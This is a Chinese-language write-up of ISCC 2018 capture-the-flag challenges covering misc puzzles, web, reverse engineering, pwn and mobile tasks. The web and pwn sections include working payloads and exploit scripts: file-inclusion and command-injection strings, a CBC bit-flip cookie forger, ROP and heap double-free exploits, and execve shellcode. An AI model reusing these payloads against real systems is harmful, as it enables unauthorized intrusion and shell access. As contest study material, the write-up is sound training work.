ISCC 2018 WriteUp # 目录 ### Misc - What is that? - 秘密电报 - Where is the FLAG? - 一只猫的心思 - 暴力XX不可取 - 重重谍影 - 凯撒十三世 - 有趣的ISCC - 数字密文 - 嵌套ZIPs ### Web - 比较数字大小 - 你能跨过去吗? - 一切都是套路 - 你能绕过吗? - web02 - SQL注入的艺术 - 试试看 - 本地的诱惑 - Please give me username and password! - 请ping我的ip 看你能Ping通吗? - Web01 - Collide - Only admin can see flag - php是世界上最好的语言 - Only Admin - 有种你来绕 - Sqli - 什么这么简单啊 ### Reverse - RSA256 - My math is bad - obfuscation and encode - leftleftrightright ### Pwn - login - Write some paper - Happy Hotel ### Mobile - 小试牛刀 ------------ ### Misc #### What is that? 打开图片发现是一个手指指向下面,猜测是修改了png的高度。打开winhex进行修改 ![](https://i.imgur.com/mv51z99.png) 前四位表示宽,后四位表示高。我们将高度的十六进制加大。得到flag ![](https://i.imgur.com/UQK3Mx0.png) #### What is that? 下载题目后发现只有一个压缩包,内容如下 > 秘密电报: 知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA 看见一堆AB组成的字符串果断想到了培根密码。解密得到flag ![](https://i.imgur.com/CVCAPCe.png) #### Where is the FLAG? 打开后发现如下文字 ![](https://i.imgur.com/rU6rc9V.png) 果断使用fw打开,发现有多个图层。将各个图层中的二维码拼起来得到二维码,扫码得到flag ![](https://i.imgur.com/2V1jBxK.png) #### 一只猫的心思 使用winhex打开,在中间位置发现doc文件头`D0 CF 11 E0` 然后将前面的全部删除,另存为doc文件 ![](https://i.imgur.com/bjIQwYq.png) 打开doc发现如下文字 ![](https://i.imgur.com/7v36Jf4.png) 解密得到一串十六进制 ![](https://i.imgur.com/ubWYMwC.png) 然后将其转换为字符串 ![](https://i.imgur.com/5Ixvdca.png) 再进行base64和base32解密 ![](https://i.imgur.com/ZfIUt8v.png) 再次得到一串十六进制,解密得到base63然后base32 最后得到`F1a9_is_I5cc_ZOl8_G3TP01NT` #### 暴力XX不可取 提示不能暴力破解,于是想到伪加密。用winhex打开,将`07`改为`00` ![](https://i.imgur.com/AH9Phck.png) 解压得到一个txt文件 ![](https://i.imgur.com/6rKK9yf.png) 根据格式猜测是凯撒密码,并且位移为13 解密得到flag ![](https://i.imgur.com/83LIIJ1.png) #### 重重谍影 先进行n次的base64解密(忘了多少次了,反正一直解密) 最后一次解密得到如下内容 > U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4 B5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z iN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc= 解密后得到 > 答案就是后面这句但已加密 缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗 解密得到flag ![](https://i.imgur.com/JyA0vzu.png) #### 凯撒十三世 rot13解码得到`roqtp697t95j3` 根据如下键盘可知只要将每个向下移一位即可得到`flag:yougotme` ![](https://i.imgur.com/alxmo9b.png) #### 有趣的ISCC 使用winhex打开拉倒最后,发现如下内容 ![](https://i.imgur.com/ME6Qmts.png) ```python #!/usr/bin/env python2 # -*- coding:utf8 -*- __author__ = 'Cytosine' import requests import urllib import base64 import hashlib import sys import string import re def foo(): s=""" 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 39 00 39 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 34 00 39 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 35 00 35 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 35 00 3B 00 26 00 23 00 39 00 38 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 35 00 37 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 35 00 3B 00 26 00 23 00 35 00 31 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 35 00 31 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 35 00 31 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 30 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 35 00 37 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 35 00 3B 00 26 00 23 00 35 00 31 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 30 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 35 00 3B 00 26 00 23 00 35 00 33 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 34 00 3B 00 26 00 23 00 31 00 30 00 31 00 3B 00 26 00 23 00 39 00 32 00 3B 00 26 00 23 00 31 00 31 00 37 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 34 00 38 00 3B 00 26 00 23 00 35 00 35 00 3B 00 26 00 23 00 31 00 30 00 30 00 3B """ l=s.strip().split() l=[i for i in l if i!='00'] l=[chr(int(i,16)) for i in l] print l rst=''.join(l) print rst l=re.findall('(.*?);',rst) print l l=[chr(int(i)) for i in l] rst=''.join(l) print rst a = rst.decode('unicode-escape').encode('utf-8') print a pass if __name__ == '__main__': foo() print 'ok' ``` ![](https://i.imgur.com/drF5U6x.png) #### 数字密文 使用binascii转换一下即可 ![](https://i.imgur.com/VCMJ5Q7.png) #### 嵌套ZIPs ![](https://i.imgur.com/WzsIY1K.png) 爆破得到压缩包密码,解压得到两个文件,然后再使用明文攻击,得到解压密码`Z!C@t#f$12`这里需要注意的是要在linux下进行。解压得到第三个zip,是个伪加密。我们将`05`改为`00`即可 ![](https://i.imgur.com/oEgXyy9.png) ![](https://i.imgur.com/UmmwAaa.png) ### Web #### 比较数字大小 审查元素发现限制了输入框的长度 ![](https://i.imgur.com/jI2kO94.png) 直接更改然后输入一个较大的值即可 ![](https://i.imgur.com/o6ZnuXD.png) #### 你能跨过去吗? 使用`utf-7`解码 ![](https://i.imgur.com/EPN2TlG.png) 然后输入key后面的值,得到flag ![](https://i.imgur.com/o5xOlZZ.png) #### 一切都是套路 访问`http://118.190.152.202:8009/index.php.txt` 得到源码,发现是变量覆盖漏洞 ![](https://i.imgur.com/iGSsyD0.png) 构造`?_200=flag` 然后随意POST一个flag的值`flag=1` ![](https://i.imgur.com/UWXQi7R.png) #### 你能绕过吗? 这题被坑了很久,之前一直以为是SQL注入,各种fuzz无果。最后发现URL中有个`f`参数,猜测存在文件包含。 访问返回`error`,联想到题目说的过滤不全,测试可能过滤了某些关键字 ![](https://i.imgur.com/ruv0mGa.png) 最终payload`http://118.190.152.202:8008//index.php?f=Php://filter/read=convert.base64-encode/resource=index&id=1` 解密后得到flag ![](https://i.imgur.com/RO4NoiW.png) #### web02 访问提示不是本机IP,果断联想到`X-Real-IP`和 `client-ip` 通过测试发现只要将`client-ip`改为`127.0.0.1`即可 ![](https://i.imgur.com/fg9tNVB.png) #### SQL注入的艺术 简单的测试了下发现是宽字节注入 ![](https://i.imgur.com/VUxFSNC.png) 直接丢进sqlmap ![](https://i.imgur.com/s1tRDet.png) **非预期解** 扫描发现存在admins文件 ![](https://i.imgur.com/qAQxjgU.png) 下载过来发现是他的数据库文件 flag就写在里面 ![](https://i.imgur.com/Ft1jjF5.png) #### 试试看 查看源码发现`show.php?img=1.jpg`果断猜测文件包含 ,然后就翻车了。发现出来的并不是base64还是原先的图片 ![](https://i.imgur.com/sXBs7WQ.png) 在ven师父的博客找到了一偏文章http://www.venenof.com/index.php/archives/36/ 发现原来是使用了preg_match进行正则过滤 然后构造新的payload `show.php?img=php://filter/resource=1.jpgresource=../flag.php` 成功拿到flag ![](https://i.imgur.com/J6gMuib.png) #### 本地的诱惑 :joy: 直接查看源文件就能看见flag ![](https://i.imgur.com/EtxYi42.png) #### Please give me username and password! 扫描发现存在`index.php.txt` ![](https://i.imgur.com/bGoKtmr.png) 访问得到源码 ![](https://i.imgur.com/VYXX9m7.png) 构造payload `?username[]=fla&password=9e9` ![](https://i.imgur.com/EVvDul6.png) #### 请ping我的ip 看你能Ping通吗? 根据提示构造`?ip=127.0.0.1`发现是命令执行 ![](https://i.imgur.com/fSwSByT.png) 使用`%0A`截断成功获得flag ![](https://i.imgur.com/kNDQfp4.png) **非预期解** 扫描发现存在`flag.txt`文件,访问得到flag ![](https://i.imgur.com/3wyrIDM.png) ![](https://i.imgur.com/F1HKBHp.png) #### Web01 ```php ``` 分析源码可知PHP弱类型,使用`password[]=1` getflag ![](https://i.imgur.com/HVs5WF5.png) #### Collide ```php 5f585093a7fe86971766c3d25c43d0eb guest\x80\x00\x00\x00\x00\x98\x01\x00\x00\x00\x00\x00\x00admin 第一个是新的签名。用其替换原有的`verify` 第二个把`\x`转化为`%`然后POST提交 ![](https://i.imgur.com/FgM2IMI.png) #### Only admin can see flag 访问`index.txt`得到源码 ```php Hello admin'; echo 'Flag is *************'; }else{ echo 'hello '.$_SESSION['username'].''; echo 'Only admin can see flag'; } echo 'Log out'; die(); } function check_login(){ if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize"); $_SESSION['username'] = $info['username']; }else{ die("ERROR!"); } } } if (isset($_POST['username'])&&isset($_POST['password'])) { $username=waf((string)$_POST['username']); $password=waf((string)$_POST['password']); if($username === 'admin'){ exit('You are not real admin!'); }else{ $info = array('username'=>$username,'password'=>$password); login($info); show_homepage(); } } else{ if(isset($_SESSION["username"])){ check_login(); show_homepage(); } } ?> Paper login form Sign In Sign in ``` 分析代码可知,很明显是一个cbc字节翻转攻击。大体流程就是注册一个用户,将数据序列化后加密,保存到cookie中。注册的用户不能是admin,但只有admin才能看到flag。iv和cipher都放在cookie中,就是可控的,我们可以注册一个1dmin用户,然后通过修改密文进行字节翻转将1翻转为a。参考链接:[CTF中常见的Web密码学攻击方式](http://seaii-blog.com/index.php/2017/05/13/60.html "CTF中常见的Web密码学攻击方式") ```python # -*- coding: utf-8 -*- import requests import base64 import urllib import re url = 'http://118.190.152.202:8001/index.php' def getCookies(): global url data = { 'username': '1dmin', 'password': '12345', } cookies = requests.post(url, data=data).cookies return cookies def exploit(cookies): global url cipher = base64.b64decode(urllib.unquote(cookies['cipher'])) pos = 9 #偏移量为9 cipher = cipher[0:pos] + chr(ord(cipher[pos]) ^ ord('1') ^ ord('a')) + cipher[pos+1:] cipher = urllib.quote_plus(base64.b64encode(cipher)) cookies = { 'PHPSESSID': cookies['PHPSESSID'], 'iv' : cookies['iv'], 'cipher' : cipher, } r = requests.get(url, cookies=cookies) #print r.text plain = base64.b64decode(re.findall(r'base64.decode\((.*?)\)', r.text)[0]) iv = base64.b64decode(urllib.unquote(cookies['iv'])) old = plain[0:16] new = 'a:2:{s:8:"userna' newiv = ''.join([chr(ord(iv[i]) ^ ord(old[i]) ^ ord(new[i])) for i in xrange(16)]) newiv = urllib.quote_plus(base64.b64encode(newiv)) cookies = { 'PHPSESSID': cookies['PHPSESSID'], 'iv' : newiv, 'cipher' : cipher, } r = requests.get(url, cookies=cookies) print (r.text) if __name__ == '__main__': cookies = getCookies() exploit(cookies) ``` #### php是世界上最好的语言 分析可知只要`password`的`md5=0`即可,构造`password=240610708` ![](https://i.imgur.com/HI2a4cY.png) 访问得到如下内容 > NULL include 'flag.php'; $a = @$_REQUEST['a']; @eval("var_dump($$a);"); 构造payload `http://118.190.152.202:8005/no_md5.php?a=flag` ![](https://i.imgur.com/oIEXjcD.png) #### Only Admin 扫描发现网站备份文件 ![](https://i.imgur.com/ZRWmu55.png) 分析可知用escape过滤了email,但escape没有过滤类 利用Message的__toString绕过过滤 ![](https://i.imgur.com/ckOSuLt.png) ![](https://i.imgur.com/FmHEOU2.png) 构造poc ![](https://i.imgur.com/IBGtNEd.png) >ckSavePass=YToyOntzOjU6ImVtYWlsIjtPOjc6Ik1lc3NhZ2UiOjE6e3M6MzoibXNnIjtzOjIzOiJ0ZXN0JyBvciB1c2VySUQ9JzEnIyAtLSI7fXM6ODoicGFzc3dvcmQiO3M6NDoidGVzdCI7fQ==; ![](https://i.imgur.com/2k3o9Zm.png) ![](https://i.imgur.com/jnZs4p4.png) #### 有种你来绕 通过burp可以爆破出用户名和密码为`admin/nishishabi1438` ![](https://i.imgur.com/hY7D5hm.png) 根据提示我们尝试输入flag,成功getflag ![](https://i.imgur.com/4fcIHsl.png) #### Sqli 测试发现登录处的`username`存在注入,直接sqlmap跑 ![](https://i.imgur.com/e100Y9O.png) 得到admin账号密码`admin/ u4g009` 登录后发现id处存在注入,使用sqlmap成功getflag ![](https://i.imgur.com/RsatA5D.png) #### 为什么这么简单啊 根据提示添加 > client-ip: 110.110.110.110 Referer: http://edu.xss.tv ![](https://i.imgur.com/VoqcyrY.png) 成功得到第二关地址`http://118.190.152.202:8016/number2.php?token=260ca9dd8a4577fc00b7bd5810298076` 访问发现加载了一个`password.js` 访问得到一串base64加密字符串 解密得到`Password:xinyiji.com` 输入密码成功getflag ![](https://i.imgur.com/BIDHZBj.png) ### Reverse #### RSA256 下过来看了下文件结构,我们直接拿openssl求出e和n ![](https://i.imgur.com/ZOdcoBP.png) n进行因式分解得到p和q ![](https://i.imgur.com/0WpjQCY.png) ```python #coding:utf-8 import gmpy import rsa p = 302825536744096741518546212761194311477 q = 325045504186436346209877301320131277983 n = 98432079271513130981267919056149161631892822707167177858831841699521774310891 e = 65537 d = int(gmpy.invert(e , (p-1) * (q-1))) privatekey = rsa.PrivateKey(n , e , d , p , q) with open("encrypted.message1" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode()) with open("encrypted.message2" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode()) with open("encrypted.message3" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode()) ``` ![](https://i.imgur.com/nDQnKkW.png) #### My math is bad ![](https://i.imgur.com/2isrfRA.png) ![](https://i.imgur.com/EBXBCFz.png) 通过分析可知,只要将上面的两个方程组解出来即可 ```python from z3 import * s = [Int("s%d"%i) for i in range(4)] solve = Solver() solve.add(s[1] * s[0] - s[3] * s[2] == 0x24CDF2E7C953DA56, 3 * s[2] + 4 * s[3] - s[1] - 2 * s[0] == 0x17B85F06, 3 * s[0] * s[3] - s[2] * s[1] == 0x2E6E497E6415CF3E, 27 * s[1] + s[0] - 11 * s[3] - s[2] == 0x95AE13337) k = 0 if(solve.check()==sat): m = solve.model() for i in range(4): p = m[s[i]].as_long() k ^= p # print(hex(p)) for j in range(4): print(chr((p>>((j)*8))&0xff), end='') # print() # print(hex(k)) # ampoZ2ZkNnk1NHl3 v1, v2, v7, v8, v9, v10, v11, v12 = 22, 39, 45, 45, 35, 41, 13, 36 s = [Int("s%d"%i) for i in range(4) ] solve = Solver() v3, v4, v5, v6 = s[0], s[1], s[2], s[3] solve.add(v6 * v2 + v3 * v1 - v4 - v5 == 0xE638C96D3 , v6 + v3 + v5 * v8 - v4 * v7 == 0xB59F2D0CB , v3 * v9 + v4 * v10 - v5 - v6 == 0xDCFE88C6D , v5 * v12 + v3 - v4 - v6 * v11 == 0xC076D98BB ) if(solve.check()==sat): m = solve.model() for i in range(4): p = m[s[i]].as_long() k ^= p # print(hex(p)) for j in range(4): print(chr((p>>((j)*8))&0xff), end='') # NTc0NTc1Z3NoaGFG ``` ![](https://i.imgur.com/LWEaNzM.png) #### obfuscation and encode 题目名为混淆和编码,有点恐怖(:з」∠) 打开main函数,发现仅对输入进行了fencode和encode两次处理后就与字符串比较,很简单明了 fencode的流程如下: ![](https://i.imgur.com/QkaaRy2.png) 整体扫一下,是通过对code这个变量的比较和赋值来控制程序流程的,看起来有点像VM 不过再看一下程序流程图就清楚了: ![](https://i.imgur.com/EBFgIAs.png) 这不就是控制流平坦化嘛 粗略扫了一遍,核心部分仅有以下两句 ``` v10 += a1[4 * v12 + v9] * m[4 * v11 + v9]; a2[v6] = (char)v10 % 127; ``` 显然是通过3个变量来控制两个数组相乘,然后累加的和模127作为一个输出 下标的变化方法可以人工跟随控制流走一遍,反正也不长 基本上就是 ``` for(v12=0;v12<6;v12++) for(v11=0;v11<4;v11++) a2[i] = v10%127 v10 = 0 for(v9=0;v9<4;v9++) v10 += xxx ``` 敏锐的话一眼就能看出来是4x6的矩阵与4x4的矩阵相乘 m矩阵扒下来以后求逆矩阵即可 另一个encode函数也被控制流平坦化混淆了,但是从核心函数上一下就能看出来是b64的算法 注意到AlphaTable被改了,扒下来和源码结合解码 脚本如下: ``` import numpy table = "FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+" s = "lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq" def decode(base64_str): base64_bytes = ['{:0>6}'.format(str(bin(table.index(s))).replace('0b', '')) for s in base64_str] resp = []#bytearray() nums = len(base64_bytes) // 4 remain = len(base64_bytes) % 4 integral_part = base64_bytes[0:4 * nums] while integral_part: # 取4个6位base64字符,作为3个字节 tmp_unit = ''.join(integral_part[0:4]) tmp_unit = [int(tmp_unit[x: x + 8], 2) for x in [0, 8, 16]] for i in tmp_unit: resp.append(i) integral_part = integral_part[4:] if remain: remain_part = ''.join(base64_bytes[nums * 4:]) tmp_unit = [int(remain_part[i * 8:(i + 1) * 8], 2) for i in range(remain - 1)] for i in tmp_unit: resp.append(i) return resp n = decode(s) print(n) m = [2, 2, 4, -5, 1, 1, 3, -3, -1, -2, -3, 4, -1, 0, -2, 2] a = numpy.mat([n[4*i:4*i+4] for i in range(6)]) b = numpy.mat([m[4*i:4*i+4] for i in range(4)]) b = b.T.I flag = (a*b).A print(flag) for i in range(24): print(chr((int(flag[i//4][i%4]+0.5)%256)), end='') ``` 这个混淆由于原程序较为简单因此没有起什么作用 大概搜索了一下,控制流平坦化除了动态调试中的脚本来打log以外就是符号执行来跑出程序流了 实际上它还是有些类似VMP的,因此可以通过log或者模拟器来进行一定程度上的求解 符号执行则是通过引擎来对控制code进行遍历找出所有路径,再结合块的恢复来还原代码 #### leftleftrightright 程序有加壳,先用脱壳工具脱壳。然后使用IDA打开,发现如下字符串 ![](https://i.imgur.com/jzMNjAN.png) 然后使用ollybdg去调测,尝试寻找规律。 我们输入如下字符串`abcdefghijklmnopqrstuvwxyz123`然后发现其变成了`onpqmlrskjtuihvwgfxyedz1cb23a` 根据规律可言退出flag为`Flag{this_was_simple_isnt_it}` ### Pwn #### login ![](https://i.imgur.com/Xuaj2t7.png) 找到账号 > _system .plt 0x400630 admin T6OBSh2i 登陆后 分析完整流程 我们需要`admin`用户调用函数`ExecCmd` 所以登录后分析 ![](https://i.imgur.com/aiIBJM7.png) 知道ret与buf的偏移为`rbp+0x8h -(rbp-50h)= 0x58` ![](https://i.imgur.com/dQFjz3b.png) 可以看到在调用`ExecCmd()`之前存在 我们有CMP指令和JZ指令,`[rbp+var_4] =0`,所以它不能成功执行 所以溢出`ExecCmd()`覆盖到`ret` 进行`system`操作 所以构造EXP ```python from pwn import * #p = process('./pwn50') p = remote('47.104.16.75',9000) log.info(p.recvuntil(":")) p.sendline("admin") log.info(p.recvuntil(":")) p.sendline("T6OBSh2i") log.info(p.recvuntil(": ")) p.sendline("1") log.info(p.recvuntil(": ")) p.sendline("/bin/sh") log.info(p.recvuntil(": ")) payload = "\x00"*0x58 + p64(0x40084A) #mov edi,0x61100 p.sendline(payload) log.info(p.recvuntil(": ")) p.sendline("3") p.interactive() ``` **思路二** ![](https://i.imgur.com/FyXhD4F.png) 开了NX 想到构造rop起shell Ida找到 system plt 地址 ![](https://i.imgur.com/NEmyDhD.png) `System_addr=0x0000000000400630` 搜索找到pop rdi addr ![](https://i.imgur.com/dCISGsj.png) > pop_rdi_addr =0x0000000000400b03 偏移量=rbp+0x8h -(rbp-50h)= 0x58 ![](https://i.imgur.com/d7pBQId.png) 先溢出覆盖`ret`到`pop` 然后`call cmd +system_addr` 所以可以构造`rop`起`shell` ```python from pwn import * #p = remote('47.104.16.75', 9000) p = process('./pwn50') system_addr = 0x0000000000400630 pop_rdi_addr = 0x0000000000400b03 #pop rdi;ret cmd_addr=0x0000000000601100 payload = 'A' * 0x58 + p64(pop_rdi_addr) + p64(cmd_addr) + p64(system_addr) p.recvuntil(':') p.sendline('admin') p.recvuntil(':') p.sendline('T6OBSh2i') p.recvuntil(':') p.sendline('1') p.recvuntil(':') p.sendline('/bin/sh') p.recvuntil(':') p.sendline(payload) p.recvuntil(':') p.sendline('3') p.interactive() ``` #### Write some paper 通过分析可知是一个堆的double free攻击。参考链接:[fastbin_double_free.py](https://github.com/mhzx020/Redirect/ "fastbin_double_free.py") ```python from pwn import * shell_addr = 0x400943 context.timeout = 50 #p = process('./pwn3') p = remote('47.104.16.75',8999) #gdb.attach(p, 'b * 0x400923') # leak stack address p.recvuntil('paper\n') p.sendline('a'*48*3) data = p.recvuntil('\x7f') leak_stack = data[-6:] + '\x00\x00' leak_stack_addr = u64(leak_stack) print hex(leak_stack_addr) def add_paper(p, index, length, contents): p.sendline('1') p.sendline(str(index)) p.sendline(str(length)) p.sendline(contents) def del_paper(p, index): p.sendline('2') p.sendline(str(index)) # fastbin double free add_paper(p, 1, 32, 'a'*32) add_paper(p, 2, 32, 'a'*32) del_paper(p, 1) del_paper(p, 2) del_paper(p, 1) # build fake chunk p.recvuntil('paper\n') p.sendline('3') p.recvuntil('number:') p.sendline('48') add_paper(p, 1, 32, p64(leak_stack_addr+96)) add_paper(p, 2, 32, 'a'*32) add_paper(p, 2, 32, 'a'*32) add_paper(p, 2, 32, 'a'*8 + p64(shell_addr)) p.recvrepeat(1) p.sendline('3') p.interactive() ``` #### Happy Hotel ![](https://i.imgur.com/KOTmJxh.png) 存在 off by one 漏洞 就是指某个变量的最大值和最小值可能会和正常值差1,或者循环多执行一次/少执行一次 当输入48个字符会打印`rbp`的值(`rbp`的值是上一个栈帧的栈底位置) ![](https://i.imgur.com/kCIjeiN.png) `strcpy`溢出,可以`overflow`保存在栈上的堆地址,进而修改`.bss`中`ptr`指针的内容 `ret = rbp-40h-(rbp+0x8) = 48` ![](https://i.imgur.com/ZAwTlcv.png) 得到`free_got = 0x602018` 将`shellcode`写入`buf` 通过 `off by one` 漏洞泄露出 `shellcode_addr` ![](https://i.imgur.com/PuUL2FJ.png) `leak bp_addr` `bp_addr:0x7ffdff960f40` `shellcode`距离当前`RBP`有30H, 当前`RBP`距离`leak_addr`有20H偏移 ![](https://i.imgur.com/AX3AF0s.png) ![](https://i.imgur.com/vOJUMgH.png) `shellcode_addr = leak_bp - 50h` 最后 `ret free` 执行即可getshell EXP ``` from pwn import * context(log_level="debug") p = process('./pwn200') elf = ELF('./pwn200') free_got = elf.got['free'] print 'free_got :'+hex(free_got)#free_got :0x602018 gdb.attach(p) p.recvuntil('who are u?\n') shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload1 = shellcode + 'a'*(48-len(shellcode)) #40h+0x8 - off by one p.sendline(payload1) bp = u64(p.recvuntil(' me your id ~~?\n')[48:48+6].ljust(8,'\x00')) # leak bp_addr print 'bp_addr:' + hex(bp) #bp_addr:0x7ffdff960f40 shellcode_addr = bp - 0x50 print 'shellcode_addr:' + hex(shellcode_addr) #shellcode_addr:0x7ffe98991f00 payload = p64(shellcode_addr)+'\x00'*(38-len(p64(shellcode_addr)))+p64(free_got) p.sendline('0') p.recvuntil('\n') p.send(payload) p.recvuntil('choice :') p.sendline('2') p.interactive() ``` ![](https://i.imgur.com/qORULya.png) ### Mobile #### 小试牛刀 使用jeb打开发现存在一个bfsprotect.jar的文件(实则为dex) ![](https://i.imgur.com/dNZml9K.png) 右键解析即可看见flag ![](https://i.imgur.com/1ak5FKk.png)
求密码
sdfffffffffff